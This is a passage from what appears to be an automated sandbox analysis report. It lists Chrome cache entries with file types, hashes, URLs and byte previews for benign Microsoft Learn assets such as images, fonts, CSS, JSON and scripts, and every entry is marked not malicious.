Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.0747157240281755
Encrypted:	false
SSDEEP:	6144:XegPrbKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:1KCerXyUh
MD5:	875E7F3672FEC41DDB5A2386D2331531
SHA1:	282979933E99BDE3A6342DC1EF93FBC51682F2C3
SHA-256:	F205B3CBA340ECB0B5D45E5DE6D385947CC4C21248707A90BFD5894E9B61F3C9
SHA-512:	67A3C1D8FF089E01C20962D96968DE43F3E8D49B474C396F08827EE891C0315693634E663D3148D7441B501EA6939A7D84A80B1E855B7C2A8BCB17E0013AFAD4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	dropped
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/docons.6a251ae.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	dropped
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
